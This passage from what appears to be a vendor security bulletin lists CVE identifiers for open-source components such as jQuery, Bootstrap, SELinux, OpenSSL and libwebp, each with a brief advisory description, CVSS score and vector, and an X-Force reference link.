code on the system, caused by a pointer error in the fts3_tokenizer function. By persuading a victim to visit a specially-crafted Web site, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 6.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/108154](<https://exchange.xforce.ibmcloud.com/vulnerabilities/108154>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2020-28498](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-28498>) \n** DESCRIPTION: **Node.js Elliptic module could allow a local attacker to obtain sensitive information, caused by a flaw in the secp256k1 implementation in elliptic/ec/key.js. By sending a specially-crafted request using a number of ECDH operations, an attacker could exploit this vulnerability to obtain the private key information, and use this information to launch further attacks against the affected system. \nCVSS Base score: 6.2 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/196053](<https://exchange.xforce.ibmcloud.com/vulnerabilities/196053>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) \n \n** CVEID: **[CVE-2021-36085](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36085>) \n** DESCRIPTION: **SELinux Project SELinux is vulnerable to a denial of service, caused by a use-after-free in __cil_verify_classperms. By sending a specially-crafted request, a local attacker could exploit this vulnerability to cause a denial of service condition. \nCVSS Base score: 6.2 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/204794](<https://exchange.xforce.ibmcloud.com/vulnerabilities/204794>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-36086](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36086>) \n** DESCRIPTION: **SELinux Project SELinux is vulnerable to a denial of service, caused by a use-after-free in cil_reset_classpermission . By sending a specially-crafted request, a local attacker could exploit this vulnerability to cause a denial of service condition. \nCVSS Base score: 6.2 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/204795](<https://exchange.xforce.ibmcloud.com/vulnerabilities/204795>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-36087](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36087>) \n** DESCRIPTION: **SELinux Project SELinux is vulnerable to a denial of service, caused by a heap-based buffer over-read in ebitmap_match_any. By sending a specially-crafted request, a local attacker could exploit this vulnerability to cause a denial of service condition. \nCVSS Base score: 6.2 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/204796](<https://exchange.xforce.ibmcloud.com/vulnerabilities/204796>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2017-6004](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6004>) \n** DESCRIPTION: **Perl Compatible Regular Expressions (PCRE) is vulnerable to a denial of service, caused by a flaw in compile_bracket_matchingpath function in pcre_jit_compile.c. By supplying a specially-crafted regular expression, a local attacker could exploit this vulnerability to cause the application to crash. \nCVSS Base score: 6.2 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/122097](<https://exchange.xforce.ibmcloud.com/vulnerabilities/122097>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2015-9251](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-9251>) \n** DESCRIPTION: **jQuery is vulnerable to cross-site scripting, caused by improper validation of user-supplied input. A remote attacker could exploit this vulnerability using a specially-crafted URL to execute script in a victim's Web browser within the security context of the hosting Web site, once the URL is clicked. An attacker could use this vulnerability to steal the victim's cookie-based authentication credentials. \nCVSS Base score: 6.1 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/138029](<https://exchange.xforce.ibmcloud.com/vulnerabilities/138029>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) \n \n** CVEID: **[CVE-2016-10735](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10735>) \n** DESCRIPTION: **Bootstrap is vulnerable to cross-site scripting, caused by improper validation of user-supplied input by the data-target attribute. A remote attacker could exploit this vulnerability to execute script in a victim's Web browser within the security context of the hosting Web site. An attacker could use this vulnerability to steal the victim's cookie-based authentication credentials. \nCVSS Base score: 6.1 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/155339](<https://exchange.xforce.ibmcloud.com/vulnerabilities/155339>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) \n \n** CVEID: **[CVE-2018-14041](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-14041>) \n** DESCRIPTION: **Bootstrap is vulnerable to cross-site scripting, caused by improper validation of user-supplied input by the data-target property of scrollspy. A remote attacker could exploit this vulnerability to execute script in a victim's Web browser within the security context of the hosting Web site. An attacker could use this vulnerability to steal the victim's cookie-based authentication credentials. \nCVSS Base score: 6.1 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/146467](<https://exchange.xforce.ibmcloud.com/vulnerabilities/146467>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) \n \n** CVEID: **[CVE-2018-20676](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20676>) \n** DESCRIPTION: **Bootstrap is vulnerable to cross-site scripting, caused by improper validation of user-supplied input by the tooltip data-viewport attribute. A remote attacker could exploit this vulnerability to execute script in a victim's Web browser within the security context of the hosting Web site. An attacker could use this vulnerability to steal the victim's cookie-based authentication credentials. \nCVSS Base score: 6.1 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/155338](<https://exchange.xforce.ibmcloud.com/vulnerabilities/155338>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) \n \n** CVEID: **[CVE-2018-20677](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20677>) \n** DESCRIPTION: **Bootstrap is vulnerable to cross-site scripting, caused by improper validation of user-supplied input by the affix configuration target property. A remote attacker could exploit this vulnerability to execute script in a victim's Web browser within the security context of the hosting Web site. An attacker could use this vulnerability to steal the victim's cookie-based authentication credentials. \nCVSS Base score: 6.1 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/155337](<https://exchange.xforce.ibmcloud.com/vulnerabilities/155337>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) \n \n** CVEID: **[CVE-2019-10219](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10219>) \n** DESCRIPTION: **Hibernate-Validator is vulnerable to cross-site scripting, caused by improper validation of user-supplied input by the SafeHtml validator annotation A remote attacker could exploit this vulnerability to inject malicious script into a Web page which would be executed in a victim's Web browser within the security context of the hosting Web site, once the page is viewed. An attacker could use this vulnerability to steal the victim's cookie-based authentication credentials. \nCVSS Base score: 6.1 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/171317](<https://exchange.xforce.ibmcloud.com/vulnerabilities/171317>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) \n \n** CVEID: **[CVE-2019-11358](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11358>) \n** DESCRIPTION: **jQuery, as used in Drupal core, is vulnerable to cross-site scripting, caused by improper validation of user-supplied input. A remote authenticated attacker could exploit this vulnerability to execute script in a victim's Web browser within the security context of the hosting Web site. An attacker could use this vulnerability to steal the victim's cookie-based authentication credentials. \nCVSS Base score: 6.1 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/159633](<https://exchange.xforce.ibmcloud.com/vulnerabilities/159633>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) \n \n** CVEID: **[CVE-2019-8331](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8331>) \n** DESCRIPTION: **Bootstrap is vulnerable to cross-site scripting, caused by improper validation of user-supplied input by the tooltip or popover data-template. A remote attacker could exploit this vulnerability to execute script in a victim's Web browser within the security context of the hosting Web site. An attacker could use this vulnerability to steal the victim's cookie-based authentication credentials. \nCVSS Base score: 6.1 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/157409](<https://exchange.xforce.ibmcloud.com/vulnerabilities/157409>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) \n \n** CVEID: **[CVE-2020-11022](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11022>) \n** DESCRIPTION: **jQuery is vulnerable to cross-site scripting, caused by improper validation of user-supplied input by the jQuery.htmlPrefilter method. A remote attacker could exploit this vulnerability to inject malicious script into a Web page which would be executed in a victim's Web browser within the security context of the hosting Web site, once the page is viewed. An attacker could use this vulnerability to steal the victim's cookie-based authentication credentials. \nCVSS Base score: 6.1 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/181349](<https://exchange.xforce.ibmcloud.com/vulnerabilities/181349>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) \n \n** CVEID: **[CVE-2020-11023](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11023>) \n** DESCRIPTION: **jQuery is vulnerable to cross-site scripting, caused by improper validation of user-supplied input by the option elements. A remote attacker could exploit this vulnerability to inject malicious script into a Web page which would be executed in a victim's Web browser within the security context of the hosting Web site, once the page is viewed. An attacker could use this vulnerability to steal the victim's cookie-based authentication credentials. \nCVSS Base score: 6.1 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/181350](<https://exchange.xforce.ibmcloud.com/vulnerabilities/181350>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) \n \n** CVEID: **[CVE-2021-26926](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26926>) \n** DESCRIPTION: **JasPer is vulnerable to a denial of service, caused by an out-of-bounds read by the jp2_decode function. By persuading a victim to open a specially-crafted file, a remote attacker could exploit this vulnerability to disclose information or cause the application to crash. \nCVSS Base score: 6.1 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/197346](<https://exchange.xforce.ibmcloud.com/vulnerabilities/197346>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H) \n \n** CVEID: **[CVE-2021-30689](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30689>) \n** DESCRIPTION: **Apple iOS and iPadOS are vulnerable to cross-site scripting, caused by improper validation of user-supplied input by the WebKit. A remote attacker could exploit this vulnerability using a specially-crafted URL to execute script in a victim's Web browser within the security context of the hosting Web site, once the URL is clicked. An attacker could use this vulnerability to steal the victim's cookie-based authentication credentials. \nCVSS Base score: 6.1 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/202346](<https://exchange.xforce.ibmcloud.com/vulnerabilities/202346>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) \n \n** CVEID: **[CVE-2021-30744](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30744>) \n** DESCRIPTION: **Apple iOS and iPadOS are vulnerable to universal cross-site scripting, caused by improper validation of user-supplied input by the WebKit component. A remote attacker could exploit this vulnerability using a specially-crafted URL to execute script in a victim's Web browser within the security context of the hosting Web site, once the URL is clicked. An attacker could use this vulnerability to steal the victim's cookie-based authentication credentials. \nCVSS Base score: 6.1 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/202342](<https://exchange.xforce.ibmcloud.com/vulnerabilities/202342>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) \n \n** CVEID: **[CVE-2017-7526](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7526>) \n** DESCRIPTION: **Libgcrypt could allow a remote attacker to obtain sensitive information, caused by a cache side-channel attack when using left-to-right sliding window method by the RSA-1024 implementation. By running arbitrary software where the private key is used, an attacker could exploit this vulnerability to obtain the RSA private key. \nCVSS Base score: 6.1 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/128271](<https://exchange.xforce.ibmcloud.com/vulnerabilities/128271>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N) \n \n** CVEID: **[CVE-2008-1191](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1191>) \n** DESCRIPTION: **Sun Java Web Start in Sun JDK and JRE could allow a remote attacker to gain elevated privileges, caused by an unspecified vulnerability which allows an untrusted application to assign additional permissions to itself. An attacker could exploit this vulnerability and gain elevated privileges to create arbitrary files on the system. \nCVSS Base score: 6 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/41136](<https://exchange.xforce.ibmcloud.com/vulnerabilities/41136>) for the current score. \nCVSS Vector: (AV:N/AC:M/Au:S/C:P/I:P/A:P) \n \n** CVEID: **[CVE-2021-26691](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26691>) \n** DESCRIPTION: **Apache HTTP Server is vulnerable to a heap-based buffer overflow, caused by improper bounds checking by the mod_session. By sending a specially crafted SessionHeader, a remote attacker could overflow a buffer and cause a denial of service. \nCVSS Base score: 5.9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/203465](<https://exchange.xforce.ibmcloud.com/vulnerabilities/203465>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-33560](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-33560>) \n** DESCRIPTION: **GnuPG Libgcrypt could allow a remote attacker to obtain sensitive information, caused by improper handling of ElGamal encryption. By using side-channel attack techniques against mpi_powm, and the window size, an attacker could exploit this vulnerability to obtain sensitive information, and use this information to launch further attacks against the affected system. \nCVSS Base score: 5.9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/203266](<https://exchange.xforce.ibmcloud.com/vulnerabilities/203266>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N) \n \n** CVEID: **[CVE-2021-35550](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-35550>) \n** DESCRIPTION: **An unspecified vulnerability in Java SE related to the JSSE component could allow an unauthenticated attacker to obtain sensitive information resulting in a high confidentiality impact using unknown attack vectors. \nCVSS Base score: 5.9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/211627](<https://exchange.xforce.ibmcloud.com/vulnerabilities/211627>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N) \n \n** CVEID: **[CVE-2016-2779](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-2779>) \n** DESCRIPTION: **util-linux could allow a local attacker to gain elevated privileges on the system, caused by an error when executing a program via \"runuser -u nonpriv program\". An attacker could exploit this vulnerability using the TIOCSTI ioctl to hijack the tty and gain elevated privileges on the system. \nCVSS Base score: 5.9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/111089](<https://exchange.xforce.ibmcloud.com/vulnerabilities/111089>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2015-5218](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-5218>) \n** DESCRIPTION: **util-linux is vulnerable to a buffer overflow, caused by improper bounds checking by the page parameter in the text-utils/colcrt.c script. By parsing specially-crafted file, a local attacker could overflow a buffer and execute arbitrary code on the system or cause the application to crash. \nCVSS Base score: 5.9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/108550](<https://exchange.xforce.ibmcloud.com/vulnerabilities/108550>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2016-2781](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-2781>) \n** DESCRIPTION: **util-linux could allow a local attacker to gain elevated privileges on the system, caused by an error when executing a program via \"chroot --userspec=someuser:somegroup / /path/to/test\". An attacker could exploit this vulnerability using the TIOCSTI ioctl to hijack the tty and gain elevated privileges on the system. \nCVSS Base score: 5.9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/111088](<https://exchange.xforce.ibmcloud.com/vulnerabilities/111088>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2017-1000100](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-1000100>) \n** DESCRIPTION: **cURL could allow a remote attacker to obtain sensitive information, caused by a TFTP URL processing error when doing a TFTP transfer. By redirecting a libcurl-using client request to a TFTP URL containing an overly long file name and tricking the server to send private memory contents, an attacker could exploit this vulnerability to obtain sensitive information. \nCVSS Base score: 5.9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/130190](<https://exchange.xforce.ibmcloud.com/vulnerabilities/130190>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N) \n \n** CVEID: **[CVE-2021-22939](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22939>) \n** DESCRIPTION: **Node.js could allow a remote attacker to bypass security restrictions. If the https API was used incorrectly and \"undefined\" was in passed for the \"rejectUnauthorized\" parameter, an attacker could exploit this vulnerability to connect to servers using an expired certificate. \nCVSS Base score: 3.7 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/207233](<https://exchange.xforce.ibmcloud.com/vulnerabilities/207233>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N) \n \n** CVEID: **[CVE-2021-36159](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36159>) \n** DESCRIPTION: **libfetch could allow a remote attacker to obtain sensitive information, caused by the an out-of-bounds read flaw when handling numeric strings for the FTP and HTTP protocols. By sending a specially-crafted input, an attacker could exploit this vulnerability to obtain sensitive information, or cause the application to crash. \nCVSS Base score: 9.1 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/206715](<https://exchange.xforce.ibmcloud.com/vulnerabilities/206715>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H) \n \n** CVEID: **[CVE-2020-7751](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-7751>) \n** DESCRIPTION: **Pathval could allow a remote attacker to execute arbitrary code on the system, caused by a prototype pollution flaw. By sending a specially crafted request, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 9.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/190564](<https://exchange.xforce.ibmcloud.com/vulnerabilities/190564>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2021-23358](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-23358>) \n** DESCRIPTION: **Node.js underscore module could allow a remote attacker to execute arbitrary code on the system, caused by a flaw in the template function. By sending a specially-crafted argument using the variable property, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 9.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/198958](<https://exchange.xforce.ibmcloud.com/vulnerabilities/198958>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2021-3711](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3711>) \n** DESCRIPTION: **OpenSSL is vulnerable to a buffer overflow, caused by improper bounds checking by the EVP_PKEY_decrypt() function within implementation of the SM2 decryption. By sending specially crafted SM2 content, a remote attacker could overflow a buffer and execute arbitrary code on the system or cause the application to crash. \nCVSS Base score: 9.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/208072](<https://exchange.xforce.ibmcloud.com/vulnerabilities/208072>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2018-25014](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-25014>) \n** DESCRIPTION: **Libwebp is vulnerable to a denial of service, caused by an uninitialized variable in function ReadSymbol. A remote attacker could exploit this vulnerability to gain sensitive information or cause the application to crash. \nCVSS Base score: 9.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/202256](<https://exchange.xforce.ibmcloud.com/vulnerabilities/202256>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2019-18218](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-18218>) \n** DESCRIPTION: **File is vulnerable to a heap-based buffer overflow, caused by improper improper bounds checking by the cdf_read_property_info function in cdf.c. By sending an overly large amount of CDF_VECTOR elements, a remote attacker could overflow a buffer and execute arbitrary code on the system. \nCVSS Base score: 9.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/169693](<https://exchange.xforce.ibmcloud.com/vulnerabilities/169693>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2021-42574](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42574>) \n** DESCRIPTION: **Unicode could allow a remote attacker to execute arbitrary code on the system, caused by a flaw in the bidirectional algorithm in the unicode specification. By creating a malicious patch containing well placed BiDi characters, an attacker could exploit this vulnerability to execute arbitrary code on the system. Note: This vulnerability also affects Rust. \nCVSS Base score: 9.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/212526](<https://exchange.xforce.ibmcloud.com/vulnerabilities/212526>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2021-3115](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3115>) \n** DESCRIPTION: **Golang Go could allow a remote attacker to execute arbitrary code on the system, caused by a command injection flaw when using the go get command to fetch modules that make use of cgo. By sending a specially-crafted request, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 9.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/195678](<https://exchange.xforce.ibmcloud.com/vulnerabilities/195678>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2017-15088](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-15088>) \n** DESCRIPTION: **MIT Kerberos 5 (aka krb5) is vulnerable to a buffer overflow, caused by improper bounds checking by the Distinguished Name (DN) fields in the get_matching_data and X509_NAME_oneline_ex functions. By sending a specially-crafted request, a remote attacker could overflow a buffer and execute arbitrary code or cause a denial of service on the system. \nCVSS Base score: 9.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/135696](<https://exchange.xforce.ibmcloud.com/vulnerabilities/135696>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2008-5352](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5352>) \n** DESCRIPTION: **Sun Java Runtime Environment (JRE) is vulnerable to a heap-based buffer overflow, caused by an integer overflow in the JAR unpacking utility (unpack200) in the unpack library (unpack.dll). By persuading a victim to visit a malicious Web page, a remote attacker could overflow a buffer and execute arbitrary code on the system. \nCVSS Base score: 9.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/47062](<https://exchange.xforce.ibmcloud.com/vulnerabilities/47062>) for the current score. \nCVSS Vector: (AV:N/AC:M/Au:N/C:C/I:C/A:C) \n \n** CVEID: **[CVE-2008-5358](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5358>) \n** DESCRIPTION: **Sun Java Runtime Environment (JRE) could allow a remote attacker to execute arbitrary code on the system, caused by an error when parsing GIF image files. By persuading a victim to visit a specially-crafted Web site containing a malicious GIF file, a remote attacker could corrupt memory during a splash screen display and execute arbitrary code on the system with the privileges of the victim. \nCVSS Base score: 9.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/47049](<https://exchange.xforce.ibmcloud.com/vulnerabilities/47049>) for the current score. \nCVSS Vector: (AV:N/AC:M/Au:N/C:C/I:C/A:C) \n \n** CVEID: **[CVE-2018-25009](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-25009>) \n** DESCRIPTION: **Libwebp is vulnerable to a denial of service, caused by an out-of-bounds read in function ShiftBytes. A remote attacker could exploit this vulnerability to gain sensitive information or cause the application to crash. \nCVSS Base score: 9.1 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/202260](<https://exchange.xforce.ibmcloud.com/vulnerabilities/202260>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H) \n \n** CVEID: **[CVE-2018-25010](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-25010>) \n** DESCRIPTION: **Libwebp is vulnerable to a denial of service, caused by an out-of-bounds read in function ApplyFilter. A remote attacker could exploit this vulnerability to gain sensitive information or cause the application to crash. \nCVSS Base score: 9.1 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/202255](<https://exchange.xforce.ibmcloud.com/vulnerabilities/202255>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H) \n \n** CVEID: **[CVE-2018-25012](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-25012>) \n** DESCRIPTION: **Libwebp is vulnerable to a denial of service, caused by an out-of-bounds read in function ShiftBytes. A remote attacker could exploit this vulnerability to gain sensitive information or cause the application to crash. \nCVSS Base score: 9.1 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/202258](<https://exchange.xforce.ibmcloud.com/vulnerabilities/202258>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H) \n \n** CVEID: **[CVE-2018-25013](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-25013>) \n** DESCRIPTION: **Libwebp is vulnerable to a denial of service, caused by an out-of-bounds read in function ShiftBytes. A remote attacker could exploit this vulnerability to gain sensitive information or cause the application to crash. \nCVSS Base score: 9.1 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/202257](<https://exchange.xforce.ibmcloud.com/vulnerabilities/202257>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H) \n \n** CVEID: **[CVE-2020-36330](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-36330>) \n** DESCRIPTION: **Libwebp is vulnerable to a denial of service, caused by an out-of-bounds read in function ChunkVerifyAndAssign. A remote attacker could exploit this vulnerability to gain sensitive information or cause the application to crash. \nCVSS Base score: 9.1 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/202251](<https://exchange.xforce.ibmcloud.com/vulnerabilities/202251>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H) \n \n** CVEID: **[CVE-2020-36331](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-36331>) \n** DESCRIPTION: **Libwebp is 